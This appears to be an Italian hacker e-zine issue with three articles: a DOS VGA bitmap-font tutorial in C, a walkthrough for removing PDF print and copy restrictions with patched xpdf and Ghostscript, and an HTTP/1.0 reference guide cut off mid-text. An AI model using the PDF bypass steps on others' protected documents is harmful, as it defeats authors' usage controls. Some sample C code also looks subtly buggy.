demo o splash screen da unire ai propri programmi ad una piu' sostanziale necessita' di visualizzare su bbs, minitel, videotel, ecc.. i font per la grafica espressi da ognuno in maniera sostanzialmente diversa. Non so se qualcuno ha mai provato a collegarsi al videotel usando iperterminal .. attualmente la telecom ha cambiato il numero da 165 che era 10 anni fa in 1652. Adesso e' gratuito, almeno per quanto riguarda la connessione, pero' non esiste praticamente piu' nessun servizio che sia sfruttabile senza previo pagamento di account tramite carta i credito. Prima i servizi venivano pagati tramite addebiti accesi direttamente sulla propria bolletta telefonica. Dicevo .. iperteminal e' un programma di per se fantastico in tutti i casi nei quali si voglia usufruire di una connessione -personalizzabile- via modem con una banca dati .. pero' manca di default di tutti quei font di caratteri che permetterebbero una corretta visualizzazione della grafica su sistemi come il videotel tanto per fare un esempio pratico. In realta' poi i font esisterebbero anche (sono i fonts della famiglia Arial Alternative) ma purtroppo lo stesso iperterminal non accetta la post installazione di elementi esterni al suo setup originale. Esiste inoltre un iperterminal plus da scaricare semi-free ( :)) ) .. ma per tutti gli altri che come me vorranno massacrarsi l'anima a ricevere direttamente i dati via modem e a rappresentarli su schermata dos in ricordo delle vecchie bbs (Dio le abbia in gloria) nasce il problema di COME rappresentare font grafici su schermo vga. PREMESSA: La rappresentazione su vga e' (a parte i fonts) quanto di piu' semplice e soprattutto quanto di piu' veloce esista. Le uniche quattro cose che sono necessarie conoscere come base sono: 0. come inizializzare la pagina grafica vga sotto dos 1. La localizzazione del pixel di inizio della schermata vga e le dimensioni generali 2. come scrivere un pixel colorato sulla memoria di schermo vga 3. come leggere lo "stato" di un pixel sulla stessa da queste e' possibile ottenere tutto il resto .. dal semplice -tirare una linea- al piu' complesso -scrivere una parola in una determinata posizione-. gli esempi che seguono sono strutturati per VGA 320x200 256 colori .. piu' che sufficienti ad una rappresentazione ottimale dei dati in provenienza da un sistema minitel anche di nuova generazione. Il compilatore usato e' il borland c++ 3 .. per altre versioni saranno necessarie piccole modifiche concettuali .. ad esempio il tipi estensivi FAR e HUGE non hanno significato in versioni 32bit dello stesso quindi dovranno essere semplicemente eliminati. 0. come inizializzare la pagina grafica vga sotto dos si usa per questo l'interrupt 10h col valore del registro ax settato a 13h per la modalita' VGA e 3h per la modalita' testo. quindi asm { mov ax,13h; int 10h } // inizializza la VGA oppure asm { mov ax,3h; int 10h } // riporta in modo testo 1. La localizzazione del pixel di inizio della schermata vga e le dimensioni generali unsigned char *schermo=(unsigned char *)0xA0000000L; 2. come scrivere un pixel colorato sulla memoria di schermo vga schermo[ x + y*320 ] = colore per velocizzare ancora di piu' puo' essere usato questo trucco: al posto della moltiplicazione per 320 e' possibile usare la formula (y<<6)+(y<<8) = y * 2^6 + y * 2^8 = y * (2^6 + 2^8) = y * 320 i due shift a sinistra sono cmq piu' veloci dell'operatore moltiplicazione! 3. come leggere lo "stato" di un pixel sulla stessa ovviamente la dove schermo[x+y*320]=qualcosa settera' il punto qualcosa=schermo[x+y*320] conterra' il colore (o lo stato) del pixel selezionato dalle coordinate x,y. ED ANCHE.. Do per scontato che i lettori di questo articolo sappiano di seguito come disegnare una linea o un cerchio .. oppure salvare le immagini in doppio schermo e tutte le altre cose base della programmazione vga. nel caso quest cose vi restino oscure sara' necessario prima di proseguire dare una approssimativa lettura a http://www.brackeen.com/home/vga/ Ma veniamo ai fonts: :) L'ALBA DELL'UOMO.. .. era l'epoca in cui i dinosauri seminavano il terrore sul nostro pianeta ed io avevo gia una mia bbs su sistema cp-m Triumph Adler (ha ha) .. il sistema operativo stava quasi tutto su un dischetto da 740k e a dire il vero non mi pareva che facesse poi tante cose meno di windows 2000 .. cmq i dinosauri ogni tanto dormivano ed io in quei momenti riponevo la clava e allacciandomi in vita il gonnellino di pelle di sarchiapone muschiato per la notte mi mettevo a creare font bit mapped per i miei utenti allo scopo di suscitare l'ilarita' o almeno di stimolare la curiosita' di questi ultimi. Tanto fu il lavoro e tanto divertente che alcuni di questi sono poi stati adottati (come nel caso dell'Iso-52 e 114 ) come standard per le schermate grafiche in bassa risoluzione (tra l'altro il 52 e' quello attualmente usato anche dal televideo rai .. forse avrei dovuto brevettarlo come piu' intelligentemente hanno fatto alcuni napoletani per la pizza. :)) Su su negli anni mi sono trasportato questo sistema per la visualizzazione in vari sistemi .. passando dal cp-m al ql fino ad arrivare ai sistemi acorn, sun ed anche all'ms-dos dove le procedure si sono rivelate essere molto piu' semplici che in tutti gli altri casi considerati (ad esclusione forse dell'Acorn dove gia' preesiste un sistema di -adozione- per i nuovi fonts bit mapped con le procedure sotto VDU) Allegato a questo articolo trovate nel file VGA.ZIP il file char.chr contenente una trentina di fonts 8x8 fatti con le mie manine sante piu' di 15 anni fa. Come visualizzarli su vga? ogni carattere e' rappresentato da una matrice di 8 bytes nel caso di un carattere grafico L adatto ad una quadrettatura dello schermo potremmo avere la seguente configurazione di bytes 10000000 bytes 01 = 128 10000000 bytes 02 = 128 10000000 bytes 03 = 128 10000000 bytes 04 = 128 10000000 bytes 05 = 128 10000000 bytes 06 = 128 10000000 bytes 07 = 128 11111111 bytes 08 = 255 e quindi una sequenza di bytes per lo stesso 128,128,128,128,128,128,128,255 l'estrazione di ogni sigolo carattere e di ogni singolo fonts dalla lista e' possibile usando la seguente libreria: ======================================================================================== graph.c ======================================================================================== #include <stdio.h> #include <conio.h> #include <string.h> #include <math.h> unsigned char far *schermo=(unsigned char far *)0xA0000000L; unsigned char car[33000]; vgaon() { asm{mov ax,13h;int 10h} } vgaoff() { asm{mov ax,3h;int 10h} } putpix(int x, int y,unsigned char col) { schermo[x+(y<<6)+(y<<8)]=col; } inizia() { FILE *f; long n; f=fopen("char.chr","rb"); for(n=0;n<32768;n++){ car[n]=fgetc(f); } fclose(f); } parola(int x,int y,char *par,int col,int font) { int n; for(n=0;n<strlen(par);n++) let(x+n*8,y,par[n],col,font); } let(int x,int y,char l,int col,int font) { long n; int bit,c=0,m,z; char *v="00000000"; char *bin(unsigned char a); int k=font; n=11+k*900+9*(l-32); for(m=0;m<=8;m++){ v=bin(car[n+m]); for(bit=0;bit<8;bit++) if(v[bit]>0)schermo[x+bit+320*(m+y)]=v[bit]*col;} } char *bin(unsigned char a) { char *n="00000000"; int x; for(x=0;x<8;x++){ // if(((a>>x)/2.-floor((a>>x)/2.))==0)n[7-x]=0; if(((a>>x)/2.-(a>>x)/2)==0)n[7-x]=0; else n[7-x]=1;} return(n); } ======================================================================================== inizia() = carica in memoria l'intero set di font di caratteri parola(int x,int y,char *par,int col,int font) = stampa alla locazione di schermo x,y la frase *par con il colore "col" usando il font selezionato dalla variabile "font" [ nel caso specifico da 1 a 34 ] ***************************************** ***** ESEMPIO UNO: ********************** ***************************************** VISUALIZZAZIONE SU SCHERMO DI TUTTI I FONT CONTENUTI DENTRO CHAR.CHR ======================================================================================== FONTC.C ======================================================================================== #include <stdio.h> #include <stdlib.h> #include <conio.h> #include <string.h> #include <math.h> #include "graph.h" main() { int x,y,n; char s[0xff]; // attiva la schermata grafica VGA vgaon(); // carica in memoria i FONTS di caratteri inizia(); // Definisce una stringa per la visualizzazione dei fonts #define fai itoa(n+1,s,10);strcat(s," abcdefghijk ABCDEFGHIJK 0123456") // STAMPA UNA PREVIEW DEI PRIMI 19 FONTS for(n=0;n<=18;n++) { fai;parola(0,n*10,s,n+32,n+1); } // Attende la pressione di un tasto getch(); // Cancella la schermata VGA for(y=0;y<=200;y++) for(x=0;x<=320;x++) putpix(x,y,0); // Visualizza i fonts restanti for(n=19;n<=33;n++) { fai;parola(0,(n-19)*10,s,n+32,n+1); } getch(); vgaoff(); } ======================================================================================== Compilando FONTC.C ed eseguendolo si avra' una preview di ogni singolo fonts. ***************************************** ***** ESEMPIO DUE: ********************** ***************************************** ESTRAZIONE DI UN SINGOLO FONTS E SALVATAGGIO SU FILE COME VARIABILE CHAR PER UNA SUCCESSIVA RIUTILIZZAZIONE ALL'INTERNO DI UN PROPRIO PROGRAMMA SENZA LA NECESSITA' DI DRIVERS O ALTRI FILES ACCESSORI ======================================================================================== FONSING.C ======================================================================================== #include <stdio.h> #include <conio.h> #include <string.h> #include <math.h> #include "graph.h" main() { long n; int bit,c=0,m,z; char *v="00000000"; char s[20]; char *bin(unsigned char a); FILE *f; int k=27; // numero dell'alfabeto da trasporre. vgaon(); inizia(); // salva la variabile contenente l'alfabetonel file ALFAB.numero_di_alfabeto sprintf(s,"alfab.%d",k); f=fopen(s,"wb"); fprintf(f,"unsigned char font[900]={"); for(z=' ';z<='z';z++) { n=11+k*900+9*(z-32); for(m=0;m<=8;m++) fprintf(f,"%d,",car[n+m]); if((z/3.-z/3)==0)fprintf(f,"\r\n"); } fclose(f); vgaoff(); } ======================================================================================== nel caso dell'alfabeto 27 preselezionato avremmo un file di uscita tipo ======================================================================================== alfab.27 ======================================================================================== unsigned char font[900]={0,0,0,0,0,0,0,0,0,16,16,16,16,16,0,16,0,0, 40,40,0,0,0,0,0,0,0,40,40,124,40,124,40,40,0,0,56,80,80,56,20,20,56,0,0, 100,100,8,16,32,76,76,0,0,32,80,80,32,84,72,52,0,0,16,16,0,0,0,0,0,0,0, 4,8,16,16,16,8,4,0,0,64,32,16,16,16,32,64,0,0,16,84,56,16,56,84,16,0,0, 0,16,16,124,16,16,0,0,0,0,0,0,0,0,24,24,8,16,0,0,0,124,0,0,0,0,0, 0,0,0,0,0,24,24,0,0,4,4,8,16,32,64,64,0,0,56,108,84,84,84,84,84,108,56, 56,104,72,104,40,40,108,68,124,60,100,84,116,108,88,92,68,124,120,76,116,52,44,52,116,76,120, 112,80,80,92,68,116,20,20,28,124,68,92,88,76,116,116,76,120,112,80,80,92,68,84,84,68,124, 124,68,116,20,20,52,108,88,112,124,68,84,84,68,84,84,68,124,124,68,84,84,68,116,20,20,28, 0,0,24,24,0,24,24,0,0,0,0,24,24,0,24,24,8,16,4,8,16,32,16,8,4,0,0, 0,0,124,0,124,0,0,0,0,64,32,16,8,16,32,64,0,0,56,68,4,8,16,0,16,0,0, 56,68,92,84,92,64,56,0,0,56,108,84,84,68,84,84,84,124,120,76,84,84,76,84,84,76,120, 60,100,92,80,80,80,92,100,60,120,76,84,84,84,84,84,76,120,60,100,92,88,72,88,92,100,60, 60,100,92,88,72,88,80,80,112,60,100,92,80,92,84,84,108,56,112,80,80,88,76,84,84,84,124, 56,40,56,40,40,40,40,40,56,124,68,108,40,40,40,104,88,112,120,92,84,84,76,84,84,84,124, 112,80,80,80,80,80,92,100,60,124,84,68,84,84,84,84,84,124,120,76,84,84,84,84,84,84,124, 56,108,84,84,84,84,84,108,56,120,76,84,84,76,88,80,80,112,60,100,84,84,100,52,20,20,28, 56,108,84,84,76,76,84,84,124,60,100,92,88,108,52,116,76,120,124,68,108,40,40,40,40,40,56, 120,92,84,84,84,84,84,68,124,124,84,84,84,84,84,84,108,56,120,92,84,84,84,84,68,84,124, 120,92,84,84,108,84,84,84,124,124,84,84,84,100,52,116,76,120,124,68,116,52,108,88,92,68,124, 28,16,16,16,16,16,16,16,28,64,64,64,32,16,8,4,4,4,112,16,16,16,16,16,16,16,112, 16,40,68,0,0,0,0,0,0,0,0,0,0,0,0,0,124,0,24,36,32,112,32,32,124,0,0, 0,0,120,76,116,68,84,68,124,0,0,112,80,88,76,84,76,120,0,0,60,100,92,80,92,100,60, 0,0,28,20,52,100,84,100,60,0,0,120,76,84,76,88,104,56,0,0,60,100,92,76,92,80,112, 0,0,56,104,88,92,84,108,56,0,0,112,80,88,76,84,84,124,0,0,56,40,56,40,40,40,56, 0,0,124,68,108,40,104,88,112,0,0,120,92,84,76,84,84,124,0,0,112,80,80,80,92,100,60, 0,0,124,84,68,84,84,84,124,0,0,120,76,84,84,84,84,124,0,0,56,108,84,84,84,108,56, 0,0,56,108,84,76,88,80,112,0,0,56,108,84,100,52,20,28,0,0,60,100,92,80,80,80,112, 0,0,56,104,88,108,52,44,56,56,44,36,44,40,40,44,52,28,0,0,120,92,84,84,84,68,124, 0,0,124,84,84,84,84,108,56,0,0,120,92,84,84,68,84,124,0,0,120,92,84,108,84,84,124, 0,0,124,84,84,100,52,44,56,0,0,60,36,52,108,88,72,120} ======================================================================================== questa e' la definizione sequenziale BYTES per BYTES dei singoli caratteri definiti dal fonts stesso. ***************************************** ***** ESEMPIO TRE: ********************** ***************************************** USO DEL FONTS ESTRATTO IN UN PROPRIO PROGRAMMA Nel caso specifico vi mostro un demo che avevo fatto per un mio vecchio programma. Contiene praticamente un po' di tutto riguardo alla programamzione della VGA sotto DOS. L'uso del double buffering (doppio schermo), la generazione di un plasma, la replica dei pixel, la presentazione di frasi con fonts interni al programma stesso, l'eliminazione delle interferenze video di interlacciamento, ecc.. Il programma e' in una versione base e quindi (come in effetti e' gia' stato fatto) puo' essere ottimizzato e velocizzato di almeno 4 volte .. ha comunque preferito lasciare questa versione perche' mi sembrava che fosse quella piu' semplice e lineare da capire... specilmente per quanto riguarda la sezione dell'suo dei fonts. .. nota di compilazione .. usando il TC oppure il Borland c++ 3 si genera un programma di circa 80k. La dimensione e' dovuta al fatto che l'eseguibile viene costruito con un range di 64K bytes vuoti per la allocazione della variabile "schermo" altrimenti definita come unsigned char far schermo[64001]; una volta compilato il programma pero' e' possibile comprimerlo con un tool compattante tipo UPX ( upx --best onde5.c ) riducendo il tutto a soli 10k. ======================================================================================== ONDE5.C ======================================================================================== #include <stdio.h> #include <conio.h> #include <stdlib.h> #include <string.h> #include <math.h> //----------------------------------------------------------------------------------------------- unsigned char far *schermo2=(unsigned char far *)0xA0000000; unsigned char far schermo[64001]; //----------------------------------------------------------------------------------------------- #define sng(x) x<0?-1:x>0?1:0; char s[10]; //----------------------------------------------------------------------------------------------- unsigned char font[900]={0,0,0,0,0,0,0,0,0,16,16,16,16,16,0,16,0,0, 40,40,0,0,0,0,0,0,0,40,40,124,40,124,40,40,0,0,56,80,80,56,20,20,56,0,0, 100,100,8,16,32,76,76,0,0,32,80,80,32,84,72,52,0,0,16,16,0,0,0,0,0,0,0, 4,8,16,16,16,8,4,0,0,64,32,16,16,16,32,64,0,0,16,84,56,16,56,84,16,0,0, 0,16,16,124,16,16,0,0,0,0,0,0,0,0,24,24,8,16,0,0,0,124,0,0,0,0,0, 0,0,0,0,0,24,24,0,0,4,4,8,16,32,64,64,0,0,56,108,84,84,84,84,84,108,56, 56,104,72,104,40,40,108,68,124,60,100,84,116,108,88,92,68,124,120,76,116,52,44,52,116,76,120, 112,80,80,92,68,116,20,20,28,124,68,92,88,76,116,116,76,120,112,80,80,92,68,84,84,68,124, 124,68,116,20,20,52,108,88,112,124,68,84,84,68,84,84,68,124,124,68,84,84,68,116,20,20,28, 0,0,24,24,0,24,24,0,0,0,0,24,24,0,24,24,8,16,4,8,16,32,16,8,4,0,0, 0,0,124,0,124,0,0,0,0,64,32,16,8,16,32,64,0,0,56,68,4,8,16,0,16,0,0, 56,68,92,84,92,64,56,0,0,56,108,84,84,68,84,84,84,124,120,76,84,84,76,84,84,76,120, 60,100,92,80,80,80,92,100,60,120,76,84,84,84,84,84,76,120,60,100,92,88,72,88,92,100,60, 60,100,92,88,72,88,80,80,112,60,100,92,80,92,84,84,108,56,112,80,80,88,76,84,84,84,124, 56,40,56,40,40,40,40,40,56,124,68,108,40,40,40,104,88,112,120,92,84,84,76,84,84,84,124, 112,80,80,80,80,80,92,100,60,124,84,68,84,84,84,84,84,124,120,76,84,84,84,84,84,84,124, 56,108,84,84,84,84,84,108,56,120,76,84,84,76,88,80,80,112,60,100,84,84,100,52,20,20,28, 56,108,84,84,76,76,84,84,124,60,100,92,88,108,52,116,76,120,124,68,108,40,40,40,40,40,56, 120,92,84,84,84,84,84,68,124,124,84,84,84,84,84,84,108,56,120,92,84,84,84,84,68,84,124, 120,92,84,84,108,84,84,84,124,124,84,84,84,100,52,116,76,120,124,68,116,52,108,88,92,68,124, 28,16,16,16,16,16,16,16,28,64,64,64,32,16,8,4,4,4,112,16,16,16,16,16,16,16,112, 16,40,68,0,0,0,0,0,0,0,0,0,0,0,0,0,124,0,24,36,32,112,32,32,124,0,0, 0,0,120,76,116,68,84,68,124,0,0,112,80,88,76,84,76,120,0,0,60,100,92,80,92,100,60, 0,0,28,20,52,100,84,100,60,0,0,120,76,84,76,88,104,56,0,0,60,100,92,76,92,80,112, 0,0,56,104,88,92,84,108,56,0,0,112,80,88,76,84,84,124,0,0,56,40,56,40,40,40,56, 0,0,124,68,108,40,104,88,112,0,0,120,92,84,76,84,84,124,0,0,112,80,80,80,92,100,60, 0,0,124,84,68,84,84,84,124,0,0,120,76,84,84,84,84,124,0,0,56,108,84,84,84,108,56, 0,0,56,108,84,76,88,80,112,0,0,56,108,84,100,52,20,28,0,0,60,100,92,80,80,80,112, 0,0,56,104,88,108,52,44,56,56,44,36,44,40,40,44,52,28,0,0,120,92,84,84,84,68,124, 0,0,124,84,84,84,84,108,56,0,0,120,92,84,84,68,84,124,0,0,120,92,84,108,84,84,124, 0,0,124,84,84,100,52,44,56,0,0,60,36,52,108,88,72,120}; //----------------------------------------------------------------------------------------------- vgaon() { asm{mov ax,13h;int 10h} } //----------------------------------------------------------------------------------------------- //----------------------------------------------------------------------------------------------- vgaoff() { asm{mov ax,3h;int 10h} } //----------------------------------------------------------------------------------------------- //----------------------------------------------------------------------------------------------- putpix(int x, int y,unsigned char col) { schermo[x+(y<<6)+(y<<9)]=col; } //----------------------------------------------------------------------------------------------- //----------------------------------------------------------------------------------------------- parola(int x,int y,char *par,int col) { int n; for(n=0;n<strlen(par);n++) let(x+n*8,y,par[n],col); } //----------------------------------------------------------------------------------------------- //----------------------------------------------------------------------------------------------- let(int x,int y,char l,int col) { long n; int bit,c=0,m,z; char *v; int k=font; v=(char *)calloc(10,sizeof(char *)); n=9*(l-32); for(m=0;m<=8;m++) { v=itoa(256|font[n+m],s,2); for(bit=0;bit<8;bit++) { if(v[bit+1]>'0')schermo[x+bit+320*(m+y)]=(v[bit+1]-'0')*col; } } } //----------------------------------------------------------------------------------------------- vedi() { int x,y; for(y=0;y<=199;y+=1) for(x=0;x<=319;x+=1) schermo2[x+(y<<6)+(y<<8)]=schermo[x+(y<<6)+(y<<8)]; } main() { int f,u,v,z,z2,x,y,g,ax,ay; float un,du,tr,qu,ci,se,st,ot; int aa,bb; vgaon(); for(g=1;g<=3200;g+=1) { for(y=0;y<=197;y+=3) { if(y>3&&y<13) { aa=95+95*sin(g/16.); bb=24+8*sin(g/3.); parola(aa,3,"Findplus Ver 1.2",bb); } if(y>186&&y<196) { bb=24+8*cos(g/5.); parola(0,186,"MASTER - SPP www.spippolatori.com (c)2K",bb); } u=(y<<8)+(y<<6); for(x=0;x<=317;x+=3) { v=x+u; un=6*cos(g/25.); du=5*sin(g/27.); tr=22*cos(x/35.+un/3.-10*tan(du/100.)); qu=25*cos(y/45.+du); z=un*(du+tr+qu)+du*(un+tr+qu)+tr*(un+du+qu)+qu*(un+du+tr); z=z/20.+x+y+g; for(ay=0;ay<=2;ay++) { f=(ay<<8)+(ay<<6); for(ax=0;ax<=2;ax++) { if(y>20&y<180)schermo[v+ax+f]=z; else schermo[v+ax+f]=z/3; } } } } vedi(); if(kbhit()){vgaoff();exit(0);} } vgaoff(); } ======================================================================================== .. .. le successive applicazioni per l'utilizzo dei font raw nella visualizzazione dei sistemi grafici minitel like vengono quindi da se... Nel caso qualcuno trovi utile questo sistema per una propria applicazione in questo senso e' libero di usarlo senza problemi di copyright o di citazione dell'autore. Per l'implementazione di fonts particolari o chiarimenti .. --> -= Master =- SPP MEMBER *** www.spippolatori.com master@spippolatori.com [ rispondo sempre .. purtroppo! :)) ] ========================================================================================== PDF encryption: le opzioni di sicurezza --------------------------------------- by ADaM unno@softhome.net --------------------------------------- ->Obiettivo: In queste righe vedremo come stampare un file PDF che ha disabilitato il permesso di stampa e impareremo a modificare un PDF che ci nega il permesso di selezionare testo e immagini. ->Che cos'è il pdf Il Portable Document Format (PDF) è basato sull'Adobe PostScript language a cui sono state apportati miglioramenti e modiche. L'Adobe ha rilasciato gratuitamente il suo Adobe Acrobat SDK, così chiunque può creare il suo editor o filtro senza reverse engineering o cose del genere. Adobe comunque rimane la proprietaria e mantiene per sè lo sviluppo allo scopo di non snaturare il formato (e di tenere segrete alcune caratteristiche). Il sistema di password del pdf è molto poco sicuro. Esistono due tipi di password: la password del proprietario e la user passoword. La password del proprietario controlla le opzioni di sicurezza (o permessi), ma non impedisce a un file di essere caricato e visto. La user password impedisce a un file di essere decifrato e visto. Benchè il sistema di cifratura sia conosciuto non esistono al momento sistemi per craccare la user password. Si potrebbe tentare qualcosa con un bruteforce. ->Vulnerabilità Se qualche caratteristica di sicurezza è stata attivata dall'autore del file, il PDF sarà cifrato. Queste caratteristiche impediscono di selezionare e copiare il testo e le immagini e di stamparlo. Ma se un file pdf può essere visualizzato allora è molto vulnerabile, indipendentemente dalla presenza della password del proprietario. Le opzioni di sicurezza per impedire la stampa, selezione e copiatura del testo, l'aggiunta di note, sono inutili. ->Modifichiamo il pdf affinchè si possa selezionare (e copiare) il testo e le immagini. Se abbiamo un file PDF che ha l'opzione di sicurezza solo per la selezione del testo e delle immmagini, ci verrà in aiuto xpdf, un programma per la visualizzazione dei pdf per UNIX, VMS e OS/2 che gira sotto X Window System. Per le vecchie leggi sul divieto di esportazione della crittografia dagli USA, il creatore del programma xpdf, Derek B. Noonburg, non poteva distribuire la sua patch (http://www.fefe.de/xpdf-0.90-fefe-diff2.gz) per visualizzare i file PDF con opzioni di sicurezza attivate, ma occorreva collocarla fuori dagli USA. Ora, invece, che le leggi sono cambiate (dal dicembre 1999), l'autore mi ha detto che la implementerà nella prossima versione. Per patchare il programma procuriamoci i sorgenti (http://www.foolabs.com/xpdf/xpdf-0.90.tgz). Decompattiamo i sorgenti di xpdf e poniamo la patch nella stessa directory in modo che si abbia: xpdf-0.90/ xpdf-0.90-fefe-diff2 possiamo così provvedere a patchare i sorgenti con patch -p0 <xpdf-0.90-fefe-diff2 Ora possiamo ricompilare facendo configure e make (se avete problemi guardate le istruzioni all'interno dell'archivio o usate la versione 0.80 già patchata e impacchettata in rpm -> ftp://ftp.sci.usq.edu.au/pub/linux/xpdf/xpdf-0.80-decrypt-1.i386.rpm). Con xpdf patchato possiamo visualizzare i file e selezionare (e copiare) il testo. Ricordo che le parti di xpdf che non si appoggiano all'interfaccia grafica X di Unix (pdftops, pdftotext, pdfinfo e pdfimages) possono essere ricompilati per win32. Usando pdftops patchato possiamo rendere inefficaci le opzioni di sicurezza che ci impediscono di selezionare il testo. ->Risultati di un testo di prova dove ho usato pdftops patchato e ps2pdf per riottenere un nuovo pdf ma con i permessi cambiati. Originale Finale *Dimensione 462 kB 2536 kB *metodo protezione standard nessuno *pw apertura no no *pw protezione si no *stampa consentito consentito *modifica doc non consentito non consentito *selezione testo e img non consentito consentito *aggiunta o modifica di note e campi modulo non consentito non consentito Il postscript di passaggio risultava di circa 1248 kB. Nel passaggio da pdf a ps si perdono alcune caratteristiche esclusive del pdf quali i bookmark del file, le note, i link. Il fatto che la grandezza del pdf finale sia più che quintuplicata, unito al fatto che tentando di zipppare il pdf, riotteniamo all'incirca la dimensione iniziale, mi ha fatto pensare a qualche metodo di compressione che non è stato attuato nelle conversioni. Questa ipotesi è corroborata dal fatto che il Readme di xpdf parla dell'algoritmo di compressione LZW (presente nei vecchi pdf) che è brevettato da Unisys Corporation (si, proprio la stessa che ha il brevetto delle gif, http://www.unisys.com/LeadStory/lzwterms.html), la quale non rilascia la licenza a prodotti distribuiti gratuitamente con sorgenti come xpdf. Come soluzione del problema xpdf non decomprime i dati compressi con LZW ed eventualmente presenti in un pdf, ma ne cambia prima il formato per poi decomprimerli. Nei nuovi file pdf l'algoritmo LZW non è più usato e come metodo di compressione si usa il filtro FlateDecode, che è lo stesso di gzip, il quale non è sottoposto a brevetti e spesso raggiunge risultati migliori del vecchio LZW. ->Stampiamo un file con l'opzione di sicurezza sulla stampa ovvero eliminiamo tale opzione (anzi tutte) E' molto semplice: basta prendere GhostView (interfaccia grafica di GhostScript) che serve a visualizzare, stampare, etc. file pdf e ps. Una volta installato (http://www.cs.wisc.edu/~ghost/) occorre sostituire il modulo di sicurezza con quello che trovate qua: http://www.ozemail.com.au/~geoffk/pdfencrypt/ Ora potrete stampare il vostro file (questa procedura è valida anche per gli utilizzatori del porting di GS per Windows). Ma voi, cari lettori, non vi saziate mai :-) e quella opzione di sicurezza vi sta tanto antipatica da volere un nuovo file pdf ma con tutte le opzioni di sicurezza azzerate. Allora stampiamo ancora, ma questa volta su file :-) scegliendo in "Printer Setup" pdfwrite come device. Il risultato sarà un pdf senza alcuna opzione di sicurezza attiva ma non potrete fare estrazione o ricerca del testo giacchè avete ottenuto il file per stampa su file (se proprio vi serve il testo potrete sempre estrarlo dall'originale con GhostView|Edit|Text Excract). Infatti selezionando e copiando il testo otteremo solo caratteri illegibili. Abbiamo così anche scoperto un metodo di protezione ;-) contro la selezione (e copiatura) del testo, ma questa volta più efficace di una semplice opzione di sicurezza. ->Servizi sul web Kyler Laird (http://www.ecn.purdue.edu/~laird/PDF/pdf2ps) mette a disposizione attraverso un CGI un servizio che cambia in un PDF le opzioni di sicurezza. Egli la definisce "un'utility per sbarazzarsi della assurda e sciocca opzione che impedisce la stampa". E' la stessa utility di GS modificata con modulo di sicurezza per PDF. Nel sito si afferma inoltre che essendo un'utility grezza manca la gestione degli errori, ma io non ho avuto modo di provarla perchè nel momento in cui scrivo queste righe il servizio ha temporanei problemi tecnici. E' da notare che questa utility non cracca il pdf ma estrae i dati stampabili in postscript per poter ricostruire il PDF. Quindi si cambiano i permessi e la password del proprietario data la user password. Si può ottenere così un file identico al precedente che di diverso ha solo i permessi. Diverso è invece il servizio della stessa Adobe per la conversione da PDF in altri formati (html, ascii). Per maggiori informazioni consultare http://access.adobe.com Un altro servizio gratuito è http://www.babinszki.com/distiller/ che trasforma postscript (anche più files zippati) in pdf. Anche questo non sono riuscito a provarlo per dei loro temporanei malfunzionamenti. ->Conclusione Di questi pdf, a patto che siano visualizzabili (quindi, senza user password), nel corso di queste righe siamo riusciti a fare di tutto (fondamentalmente stampare e copiare i contenuti dove non era possibile). Spero che questo testo contribuisca ad eliminare la fiducia nella sicurezza che qualcuno ripone in questo formato. ->Altri link: Codice sorgente dell'algoritmo RC4 usato per cifrare i file PDF. ftp://ftp.ox.ac.uk/pub/crypto/misc/rc4.tar.gz ftp://idea.sec.dsi.unimi.it/pub/crypt/code/rc4.tar.gz R. Rivest, "The MD5 Message-Digest Algorithm". RFC 1321. [MD5 è usato nella codifica dei PDF.] Adobe Systems Inc., _Portable Document Format Reference Manual_, Version 1.3. March 11, 1999. http://partners.adobe.com/asn/developer/PDFS/TN/PDFSPEC.PDF [Updated manual for PDF 1.3.] Si dice (non ho provato!) che si possa patchare l'Acrobat Reader 3.01 per stampare qualsiasi PDF (thanx to Kyler B. Laird): http://www.deja.com/=dnc/getdoc.xp?AN=570210560 ========================================================================================== _________________________________________________________________ RFC 1945 in a few words -aka- HTTP/1.0 very small Reference Guide by --[ fritz ]-- _________________________________________________________________ -------[ Intro Questo non vuol essere un documento sostitutivo alla RFC 1945, neanche un riassunto, chiamiamola solo una "guida di riferimento", con un suntino del protocollo http con cui il client (browser, netcat, telnet, spider o chi per esso) comunica col server richiedendo pagine e inviando dati. Quindi maggior attenzione sara' data al lato client, che e' quello che genericamente interessa di piu'. Lo scrivo perche' innanzitutto serve a me in questo momento, ma anche sperando che possa servire a qualcun altro, e non sarebbe una cosa malvagia, credo, se ogni volta che qualcuno si dovesse trovare a fare dei lavoretti o studi del genere buttasse per iscritto qualche riga da mettere a disposizione per tutti gli alti. Ok, detto questo, a mo' di intro, passo al nocciolo. La comunicazione client-server tra il browser che stiamo utilizzando e il sito che andiamo a visitare avviene, ovviamente, dopo una richiesta del client formulata in 2 modi possibili, seguendo questa sintassi: Simple-Request --> "GET" SP Request-URI CRLF Full-Request --> Request-Line *( General-Header | Request-Header | Entity-Header ) CRLF [ Entity-Body ] La sintassi potrebbe sembrare un po' ostica, ma se si legge l'inizio della RFC e' spiegato tutto: -le parti tra parentesi tonda vengono considerati come una unica parte -le parti tra parentesi quadre sono da considerarsi opzionali -le parti separate tra il carattere "|" sono da considerarsi elementi di un'operazione logica di OR, quindi ( a | A ) vale sia "a" che "A" -il carattere "*" prima di qualsiasi elemento significa indefinite ripetizioni di quello che viene dopo (da zero a infinito compresi) Se prima dell'asterisco e' presente un numero, questo rappresenta il numero minimo di ripetizioni di cio' che segue l'asterisco. -CRLF significa "carriage return + line feed", brutalmente significa "enter", "return" o "invio" che dir si voglia :) -SP significa banalmente spazio, ovvero il carattere " " o %20 ---------------------------- Simple-Request ---------------------------- E' il modo piu' semplice di comunicare col server, e serve solo per inviare richieste di invio informazioni, come potrebbe essere la richiesta di vedere una pagina html, o un file. Avviene in una sola riga, e con solo 2 parole, il "GET" e il nome della pagina da vedere, comprensivo o meno di riferimento relativo (o anche assoluto), per esempio potrebbe essere: GET index.html oppure GET /pub/misc/RFC/1000-1500/eps/moana.jpg Per inviare un POST bisogna usare il secondo metodo. ---------------------------- Full-Request ---------------------------- Come gia' visto e' formata da queste parti: Request-Line *( General-Header | Request-Header | Entity-Header ) CRLF [ Entity-Body ] Dopo il chiaramento della sintassi di qualche riga piu' sopra si potrebbe riscrivere il formato in questo modo umanamente piu' comprensibile: -------------------------------------------------------------------------- richiesta iniziale numero a piacere di header appartenenti ai 3 gruppi: General-Header, Request-Header, Entity-Header linea vuota opzionalmente --> Entity-Body -------------------------------------------------------------------------- Andiamo a vedere ora nello spcifico qual e' la sintassi esatta per queste righe. -------[ Request-Line - richiesta iniziale Il suo formato e' questo: Request-Line = Method SP Request-URI SP HTTP-Version CRLF In cui: -Method sta 